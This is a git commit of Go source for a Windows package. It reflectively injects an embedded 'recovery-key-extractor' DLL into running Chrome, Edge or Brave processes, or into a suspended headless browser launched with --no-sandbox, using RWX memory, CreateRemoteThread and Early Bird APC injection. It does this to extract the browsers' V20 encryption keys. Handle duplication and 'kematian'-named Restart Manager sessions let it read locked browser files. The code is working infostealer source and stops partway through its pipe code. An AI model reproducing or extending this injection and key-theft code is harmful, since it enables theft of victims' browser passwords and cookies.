initial commit

This commit is contained in:
i2p
2026-08-27 11:21:43 -06:00
commit f25acb03f3
84 changed files with 12747 additions and 0 deletions
+14
View File
@@ -0,0 +1,14 @@
//go:build windows
package platform
import (
_ "embed"
)
//go:embed recovery-key-extractor.dll
var embeddedDLL []byte
func GetEmbeddedDLL() []byte {
return embeddedDLL
}
@@ -0,0 +1,7 @@
//go:build !windows
package platform
func GetEmbeddedDLL() []byte {
return nil
}
+631
View File
@@ -0,0 +1,631 @@
//go:build windows
package platform
import (
"encoding/base64"
"encoding/binary"
"fmt"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
var (
modKernel32Inj = windows.NewLazySystemDLL("kernel32.dll")
procVirtualAllocEx = modKernel32Inj.NewProc("VirtualAllocEx")
procVirtualFreeEx = modKernel32Inj.NewProc("VirtualFreeEx")
procCreateRemoteThread = modKernel32Inj.NewProc("CreateRemoteThread")
procQueueUserAPC = modKernel32Inj.NewProc("QueueUserAPC")
modNtdllInj = windows.NewLazySystemDLL("ntdll.dll")
procNtQueryInformationProcess = modNtdllInj.NewProc("NtQueryInformationProcess")
)
// processBasicInformation mirrors PROCESS_BASIC_INFORMATION (x64).
type processBasicInformation struct {
Reserved1 uintptr
PebBaseAddress uintptr
Reserved2 [2]uintptr
UniqueProcessId uintptr
Reserved3 uintptr
}
// unicodeString mirrors UNICODE_STRING.
type unicodeString struct {
Length uint16
MaximumLength uint16
Buffer uintptr
}
// processCommandLine returns the full command line of a process by walking its
// PEB (x64 offsets). Used to distinguish the main browser process from its
// renderer/GPU/utility subprocesses.
func processCommandLine(pid uint32) (string, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION|windows.PROCESS_VM_READ, false, pid)
if err != nil {
return "", err
}
defer windows.CloseHandle(hProcess)
var pbi processBasicInformation
var retLen uint32
status, _, _ := procNtQueryInformationProcess.Call(
uintptr(hProcess), 0, uintptr(unsafe.Pointer(&pbi)),
unsafe.Sizeof(pbi), uintptr(unsafe.Pointer(&retLen)),
)
if status != 0 || pbi.PebBaseAddress == 0 {
return "", fmt.Errorf("NtQueryInformationProcess: 0x%x", status)
}
// PEB.ProcessParameters (offset 0x20 on x64).
var procParams uintptr
if err := windows.ReadProcessMemory(hProcess, pbi.PebBaseAddress+0x20,
(*byte)(unsafe.Pointer(&procParams)), unsafe.Sizeof(procParams), nil); err != nil {
return "", err
}
if procParams == 0 {
return "", fmt.Errorf("no process parameters")
}
// RTL_USER_PROCESS_PARAMETERS.CommandLine (offset 0x70 on x64).
var cmdLine unicodeString
if err := windows.ReadProcessMemory(hProcess, procParams+0x70,
(*byte)(unsafe.Pointer(&cmdLine)), unsafe.Sizeof(cmdLine), nil); err != nil {
return "", err
}
if cmdLine.Length == 0 || cmdLine.Buffer == 0 {
return "", fmt.Errorf("no command line")
}
buf := make([]uint16, cmdLine.Length/2)
if err := windows.ReadProcessMemory(hProcess, cmdLine.Buffer,
(*byte)(unsafe.Pointer(&buf[0])), uintptr(cmdLine.Length), nil); err != nil {
return "", err
}
return syscall.UTF16ToString(buf), nil
}
func orderedBrowserPIDs(exeName string) []uint32 {
pids, err := FindProcesses(exeName)
if err != nil || len(pids) <= 1 {
return pids
}
for i, pid := range pids {
if cmdline, err := processCommandLine(pid); err == nil && !strings.Contains(cmdline, "--type=") {
if i != 0 {
pids[0], pids[i] = pids[i], pids[0]
}
return pids
}
}
return pids
}
// findReflectiveLoaderOffset parses the PE export table in file layout and
// returns the file offset of the ReflectiveLoader export function.
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 || pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("not a valid PE")
}
lfanew := binary.LittleEndian.Uint32(pe[60:])
if int(lfanew)+24 > len(pe) {
return 0, fmt.Errorf("truncated PE header")
}
if binary.LittleEndian.Uint32(pe[lfanew:]) != 0x00004550 {
return 0, fmt.Errorf("bad PE signature")
}
coffOff := lfanew + 4
numSections := binary.LittleEndian.Uint16(pe[coffOff+2:])
optHeaderSize := binary.LittleEndian.Uint16(pe[coffOff+16:])
optHeaderOff := coffOff + 20
if int(optHeaderOff)+4 > len(pe) {
return 0, fmt.Errorf("truncated optional header")
}
magic := binary.LittleEndian.Uint16(pe[optHeaderOff:])
var exportRVA uint32
switch magic {
case 0x10b: // PE32
if int(optHeaderOff)+100 > len(pe) {
return 0, fmt.Errorf("PE32 optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+96:])
case 0x20b: // PE32+
if int(optHeaderOff)+116 > len(pe) {
return 0, fmt.Errorf("PE32+ optional header too short")
}
exportRVA = binary.LittleEndian.Uint32(pe[optHeaderOff+112:])
default:
return 0, fmt.Errorf("unknown PE magic 0x%x", magic)
}
sectionOff := optHeaderOff + uint32(optHeaderSize)
// rva2fo converts a virtual RVA to a file offset via the section table.
rva2fo := func(rva uint32) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
// IMAGE_SECTION_HEADER layout:
// +0 Name[8]
// +8 VirtualSize
// +12 VirtualAddress
// +16 SizeOfRawData
// +20 PointerToRawData
vAddr := binary.LittleEndian.Uint32(pe[off+12:])
vSize := binary.LittleEndian.Uint32(pe[off+8:])
rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
rawSize := binary.LittleEndian.Uint32(pe[off+16:])
span := vSize
if rawSize > span {
span = rawSize
}
if rva >= vAddr && rva < vAddr+span {
delta := rva - vAddr
if delta < rawSize {
return rawPtr + delta
}
}
}
// RVA might be in the PE headers (before the first section).
if numSections > 0 {
firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
if rva < firstRaw {
return rva
}
}
return 0
}
exportFO := rva2fo(exportRVA)
if exportFO == 0 || int(exportFO)+40 > len(pe) {
return 0, fmt.Errorf("invalid export directory")
}
// IMAGE_EXPORT_DIRECTORY offsets:
// +20 NumberOfFunctions
// +24 NumberOfNames
// +28 AddressOfFunctions
// +32 AddressOfNames
// +36 AddressOfNameOrdinals
numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
for i := uint32(0); i < numNames; i++ {
if int(namesFO+i*4+4) > len(pe) {
break
}
nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
if nameFO == 0 || int(nameFO) >= len(pe) {
continue
}
name := pe[nameFO:]
found := false
for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
if name[k] == 0 {
break
}
if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
found = true
break
}
}
if !found {
continue
}
if int(ordinalsFO+i*2+2) > len(pe) {
break
}
ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
if int(functionsFO+ordinal*4+4) > len(pe) {
break
}
funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
if funcFO != 0 {
return funcFO, nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
// followed by the UTF-16 pipe name, and returns the remote addresses of the
// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
// the loader as lpParameter so it reaches DllMain without relying on an
// inherited environment variable (which running browsers do not have).
func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
loaderOff, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return 0, 0, fmt.Errorf("find reflective loader: %w", err)
}
pipeW, err := syscall.UTF16FromString(pipeName)
if err != nil {
return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
}
pipeBytes := len(pipeW) * 2
total := len(dllBytes) + pipeBytes
remoteMem, _, _ := procVirtualAllocEx.Call(
uintptr(hProcess), 0, uintptr(total),
windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
)
if remoteMem == 0 {
return 0, 0, fmt.Errorf("VirtualAllocEx failed")
}
var written uintptr
if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
}
pipeNameAddr = remoteMem + uintptr(len(dllBytes))
pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
}
return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
}
func createKillOnCloseJob() (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, fmt.Errorf("CreateJobObject: %w", err)
}
var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
if err != nil {
windows.CloseHandle(job)
return 0, fmt.Errorf("SetInformationJobObject: %w", err)
}
return job, nil
}
// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
// The DLL bytes are written directly into the target process — no temp file on disk.
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
hProcess, err := windows.OpenProcess(
windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
false, targetPID)
if err != nil {
return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
if err != nil {
windows.CloseHandle(hProcess)
return nil, err
}
hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
if hThread == 0 {
windows.CloseHandle(hProcess)
return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
}
windows.CloseHandle(windows.Handle(hThread))
logf("DLL reflectively injected into PID %d", targetPID)
return &PipeSession{
pid: targetPID,
hProcess: hProcess,
}, nil
}
func cleanupInjection(hProcess windows.Handle, addr uintptr) {
procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
windows.CloseHandle(hProcess)
}
// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
// existing browser process (passing the pipe name via lpParameter), and waits
// for connection. Falls back to creating a new headless browser process if
// injection into an existing process fails or times out.
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
pipeName := createPipeName()
logf("creating pipe: %s", pipeName)
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe server: %w", err)
}
pids := orderedBrowserPIDs(BrowserExeName(browserName))
const maxExistingTries = 3
if len(pids) > 0 {
for i, pid := range pids {
if i >= maxExistingTries {
logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
break
}
logf("trying existing %s PID %d", browserName, pid)
s, err := InjectDLL(dllBytes, pipeName, pid)
if err != nil {
logf("inject PID %d failed: %v", pid, err)
continue
}
s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
if err := waitPipeConnect(hPipe, 2000); err != nil {
logf("pipe connect timeout for PID %d", pid)
s.Close()
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
ActivePipeSession = s
logf("pipe session established with existing %s (PID %d)", browserName, pid)
return s, nil
}
logf("failed to inject into existing %s processes, will try creating new process", browserName)
} else {
logf("no running %s found, will create new headless process", browserName)
}
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create and inject browser: %w", err)
}
s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
if err := waitPipeConnect(hPipe, 5000); err != nil {
logf("pipe connect timeout for new process")
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout")
}
s.hPipe = hPipe
s.ownsProcess = true
ActivePipeSession = s
logf("pipe session established with new %s (PID %d)", browserName, s.pid)
return s, nil
}
// FindProcesses returns PIDs of running processes matching the given exe name.
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
}
defer windows.CloseHandle(hSnapshot)
var entry windows.ProcessEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
if err := windows.Process32First(hSnapshot, &entry); err != nil {
return nil, err
}
var pids []uint32
for {
if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
pids = append(pids, entry.ProcessID)
}
if err := windows.Process32Next(hSnapshot, &entry); err != nil {
break
}
}
return pids, nil
}
func BrowserExeName(name string) string {
switch name {
case "Chrome":
return "chrome.exe"
case "Edge":
return "msedge.exe"
case "Brave":
return "brave.exe"
}
return ""
}
// CreateAndInjectBrowser creates a new suspended browser process and reflectively
// injects the DLL via Early Bird APC. No temp file is written to disk.
func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
browserPath, err := getBrowserPath(browserName)
if err != nil {
return nil, fmt.Errorf("get browser path: %w", err)
}
browserPathW, err := syscall.UTF16PtrFromString(browserPath)
if err != nil {
return nil, err
}
cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
if err != nil {
return nil, err
}
var si windows.StartupInfo
var pi windows.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
return nil, fmt.Errorf("CreateProcess: %w", err)
}
logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
// Create a kill-on-close job and assign the suspended browser to it so the
// whole process tree is reaped when the session closes, even though the
// headless parent self-exits after serving one key.
job, jobErr := createKillOnCloseJob()
if jobErr != nil {
logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
windows.CloseHandle(job)
job = 0
} else {
logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
}
cleanup := func() {
if job != 0 {
windows.CloseHandle(job)
}
windows.TerminateProcess(pi.Process, 0)
windows.CloseHandle(pi.Process)
windows.CloseHandle(pi.Thread)
}
loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
if err != nil {
cleanup()
return nil, err
}
// Queue APC to the main thread — fires on its first alertable wait after resume.
ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
if ret == 0 {
cleanup()
return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
}
logf("queued APC for reflective loader")
if _, err := windows.ResumeThread(pi.Thread); err != nil {
cleanup()
return nil, fmt.Errorf("ResumeThread: %w", err)
}
logf("resumed process main thread")
return &PipeSession{
pid: pi.ProcessId,
hProcess: pi.Process,
ownsProcess: true,
job: job,
}, nil
}
func getBrowserPath(browserName string) (string, error) {
var paths []string
switch browserName {
case "Chrome":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
}
case "Edge":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
}
case "Brave":
paths = []string{
filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
}
default:
return "", fmt.Errorf("unknown browser: %s", browserName)
}
for _, p := range paths {
if _, err := os.Stat(p); err == nil {
return p, nil
}
}
return "", fmt.Errorf("%s not found", browserName)
}
// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
// into a browser process and communicating via named pipe.
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
dllBytes := GetEmbeddedDLL()
if dllBytes == nil {
return nil, fmt.Errorf("no embedded DLL")
}
pids := orderedBrowserPIDs(processName)
if len(pids) == 0 && browserName == "Chrome" {
return nil, fmt.Errorf("no running Chrome processes for V20")
}
pipeName := createPipeName()
hPipe, err := createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("create pipe: %w", err)
}
const maxTries = 3
for i, pid := range pids {
if i >= maxTries {
break
}
s, injErr := InjectDLL(dllBytes, pipeName, pid)
if injErr != nil {
logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
continue
}
s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
logf("V20 pipe timeout for %s PID %d", browserName, pid)
procDisconnectNamedPipe.Call(uintptr(hPipe))
windows.CloseHandle(hPipe)
hPipe, err = createPipeServer(pipeName)
if err != nil {
return nil, fmt.Errorf("recreate pipe: %w", err)
}
continue
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
if browserName == "Chrome" {
windows.CloseHandle(hPipe)
tried := len(pids)
if tried > maxTries {
tried = maxTries
}
return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
}
logf("existing %s PIDs failed for V20, launching headless process", browserName)
s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
if err != nil {
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
}
s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
s.Close()
windows.CloseHandle(hPipe)
return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
}
s.hPipe = hPipe
encB64 := base64.StdEncoding.EncodeToString(encBlob)
key, keyErr := s.GetV20Key(browserName, encB64)
s.Close()
return key, keyErr
}
+44
View File
@@ -0,0 +1,44 @@
//go:build !windows
package platform
import (
"errors"
"os/exec"
"strconv"
"strings"
)
func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
return nil, errors.New("DLL injection not supported on this platform")
}
func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
return nil, errors.New("pipe injection not supported on this platform")
}
func FindProcesses(exeName string) ([]uint32, error) {
if exeName == "" {
return nil, nil
}
out, err := exec.Command("pgrep", "-x", exeName).Output()
if err != nil {
return nil, nil
}
var pids []uint32
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
line = strings.TrimSpace(line)
if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
pids = append(pids, uint32(pid))
}
}
return pids, nil
}
func BrowserExeName(name string) string {
return ""
}
func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
return nil, errors.New("not supported on this platform")
}
@@ -0,0 +1,11 @@
//go:build !windows
package platform
import "os"
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
return os.ReadFile(srcPath)
}
func ResetHandleCache() {}
@@ -0,0 +1,330 @@
//go:build windows
package platform
import (
"fmt"
"os"
"strings"
"sync"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
const (
SystemExtendedHandleInformation = 64
fileTypeDisk2 = 0x0001
pageReadonly2 = 0x02
fileMapRead2 = 0x04
)
type systemHandleInfoEx struct {
NumberOfHandles uintptr
Reserved uintptr
Handles [1]systemHandleEntry
}
type systemHandleEntry struct {
Object uintptr
UniqueProcessId uintptr
HandleValue uintptr
GrantedAccess uint32
CreatorBackTrace uint16
ObjectTypeIndex uint16
HandleAttributes uint32
Reserved uint32
}
type rmUniqueProcess2 struct {
ProcessId uint32
ProcessStartTime syscall.Filetime
}
type rmProcessInfo2 struct {
Process rmUniqueProcess2
AppName [256]uint16
ServiceShortName [64]uint16
ApplicationType uint32
AppStatus uint32
TSSessionId uint32
Restartable int32
}
var (
modNtdll2 = windows.NewLazySystemDLL("ntdll.dll")
procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
procGetFileSizeEx = modKernel32.NewProc("GetFileSizeEx")
procCreateFileMappingW = modKernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = modKernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = modKernel32.NewProc("UnmapViewOfFile")
procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
procGetFileType = modKernel32.NewProc("GetFileType")
modRstrtmgr = windows.NewLazySystemDLL("rstrtmgr.dll")
procRmStartSession = modRstrtmgr.NewProc("RmStartSession")
procRmEndSession = modRstrtmgr.NewProc("RmEndSession")
procRmRegisterResources = modRstrtmgr.NewProc("RmRegisterResources")
procRmGetList = modRstrtmgr.NewProc("RmGetList")
)
var (
handleCacheMu sync.Mutex
handleCacheVal []systemHandleEntry
)
func cachedSystemHandles() ([]systemHandleEntry, error) {
handleCacheMu.Lock()
defer handleCacheMu.Unlock()
if handleCacheVal != nil {
return handleCacheVal, nil
}
h, err := querySystemHandles()
if err != nil {
return nil, err
}
handleCacheVal = h
return h, nil
}
func ResetHandleCache() {
handleCacheMu.Lock()
handleCacheVal = nil
handleCacheMu.Unlock()
}
func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
if data, err := os.ReadFile(srcPath); err == nil {
logf("read directly: %s", srcPath)
return data, nil
}
if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
pids = mergePIDs(pids, lockPids)
}
if len(pids) > 0 {
if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
logf("read via handle dup: %s", srcPath)
return data, nil
}
}
if ActivePipeSession != nil {
if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
logf("read via pipe: %s (%d bytes)", srcPath, len(data))
return data, nil
}
}
return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
}
func mergePIDs(a, b []uint32) []uint32 {
seen := make(map[uint32]struct{}, len(a)+len(b))
for _, p := range a {
seen[p] = struct{}{}
}
result := append([]uint32(nil), a...)
for _, p := range b {
if _, ok := seen[p]; !ok {
result = append(result, p)
seen[p] = struct{}{}
}
}
return result
}
func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
handles, err := cachedSystemHandles()
if err != nil {
return nil, err
}
pidSet := make(map[uintptr]struct{}, len(pids))
for _, p := range pids {
pidSet[uintptr(p)] = struct{}{}
}
for _, h := range handles {
if _, ok := pidSet[h.UniqueProcessId]; !ok {
continue
}
hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
if err != nil {
continue
}
var dupHandle windows.Handle
err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
windows.CloseHandle(hProcess)
if err != nil {
continue
}
ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
if ft != fileTypeDisk2 {
windows.CloseHandle(dupHandle)
continue
}
handlePath := getHandlePath(uintptr(dupHandle))
if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
windows.CloseHandle(dupHandle)
continue
}
data, err := readFileByMapping(dupHandle)
windows.CloseHandle(dupHandle)
if err == nil {
return data, nil
}
}
return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
}
func readFileByMapping(h windows.Handle) ([]byte, error) {
var fileSize int64
ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
if ok == 0 || fileSize <= 0 {
return nil, fmt.Errorf("empty or unreadable file")
}
hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
if hMapping == 0 {
return nil, fmt.Errorf("CreateFileMappingW failed")
}
defer windows.CloseHandle(windows.Handle(hMapping))
baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
if baseAddr == 0 {
return nil, fmt.Errorf("MapViewOfFile failed")
}
defer procUnmapViewOfFile.Call(baseAddr)
data := make([]byte, fileSize)
copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
return data, nil
}
func querySystemHandles() ([]systemHandleEntry, error) {
bufSize := uint32(1 * 1024 * 1024)
for {
buf := make([]byte, bufSize)
var returnLength uint32
status, _, _ := procNtQuerySystemInformation.Call(
SystemExtendedHandleInformation,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(bufSize),
uintptr(unsafe.Pointer(&returnLength)),
)
if status&0xFFFFFFFF == 0xC0000004 {
bufSize = returnLength + 65536
if bufSize > 256*1024*1024 {
return nil, fmt.Errorf("handle buffer too large")
}
continue
}
if status != 0 {
return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
}
info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
count := int(info.NumberOfHandles)
handles := make([]systemHandleEntry, count)
for i := 0; i < count; i++ {
entry := (*systemHandleEntry)(unsafe.Pointer(
uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
))
handles[i] = *entry
}
return handles, nil
}
}
func getHandlePath(handle uintptr) string {
buf := make([]uint16, 32768)
n, _, _ := procGetFinalPathNameByHandle.Call(
handle,
uintptr(unsafe.Pointer(&buf[0])),
uintptr(len(buf)),
0,
)
if n == 0 || n >= uintptr(len(buf)) {
return ""
}
s := syscall.UTF16ToString(buf[:n])
if strings.HasPrefix(s, `\\?\`) {
s = s[4:]
}
return s
}
func getProcessesLockingFile(filePath string) []uint32 {
suffix := filePath
if len(suffix) > 8 {
suffix = suffix[len(suffix)-8:]
}
sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
if err != nil {
return nil
}
var sessionHandle uint32
ret, _, _ := procRmStartSession.Call(
uintptr(unsafe.Pointer(&sessionHandle)), 0,
uintptr(unsafe.Pointer(sessionKey)),
)
if ret != 0 {
return nil
}
defer procRmEndSession.Call(uintptr(sessionHandle))
filePathW, err := syscall.UTF16PtrFromString(filePath)
if err != nil {
return nil
}
ret, _, _ = procRmRegisterResources.Call(
uintptr(sessionHandle), 1,
uintptr(unsafe.Pointer(&filePathW)),
0, 0, 0, 0,
)
if ret != 0 {
return nil
}
var needed, count, rebootReason uint32
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
0,
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 234 || needed == 0 {
return nil
}
infos := make([]rmProcessInfo2, needed)
count = needed
ret, _, _ = procRmGetList.Call(
uintptr(sessionHandle),
uintptr(unsafe.Pointer(&needed)),
uintptr(unsafe.Pointer(&count)),
uintptr(unsafe.Pointer(&infos[0])),
uintptr(unsafe.Pointer(&rebootReason)),
)
if ret != 0 {
return nil
}
pids := make([]uint32, 0, count)
for i := uint32(0); i < count; i++ {
pids = append(pids, infos[i].Process.ProcessId)
}
return pids
}
+7
View File
@@ -0,0 +1,7 @@
package platform
import "log"
func logf(format string, args ...interface{}) {
log.Printf("[platform] "+format, args...)
}
+293
View File
@@ -0,0 +1,293 @@
//go:build windows
package platform
import (
"crypto/rand"
"encoding/hex"
"fmt"
"sync"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
type PipeSession struct {
mu sync.Mutex
hPipe windows.Handle
hProcess windows.Handle
pid uint32
ownsProcess bool
job windows.Handle
closed bool
}
var (
modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
modAdvapi32 = windows.NewLazySystemDLL("advapi32.dll")
procCreateNamedPipeW = modKernel32Pipe.NewProc("CreateNamedPipeW")
procConnectNamedPipe = modKernel32Pipe.NewProc("ConnectNamedPipe")
procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
procPeekNamedPipe = modKernel32Pipe.NewProc("PeekNamedPipe")
)
func createPipeName() string {
b := make([]byte, 8)
rand.Read(b)
return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
}
func createPipeServer(pipeName string) (windows.Handle, error) {
namePtr, err := syscall.UTF16PtrFromString(pipeName)
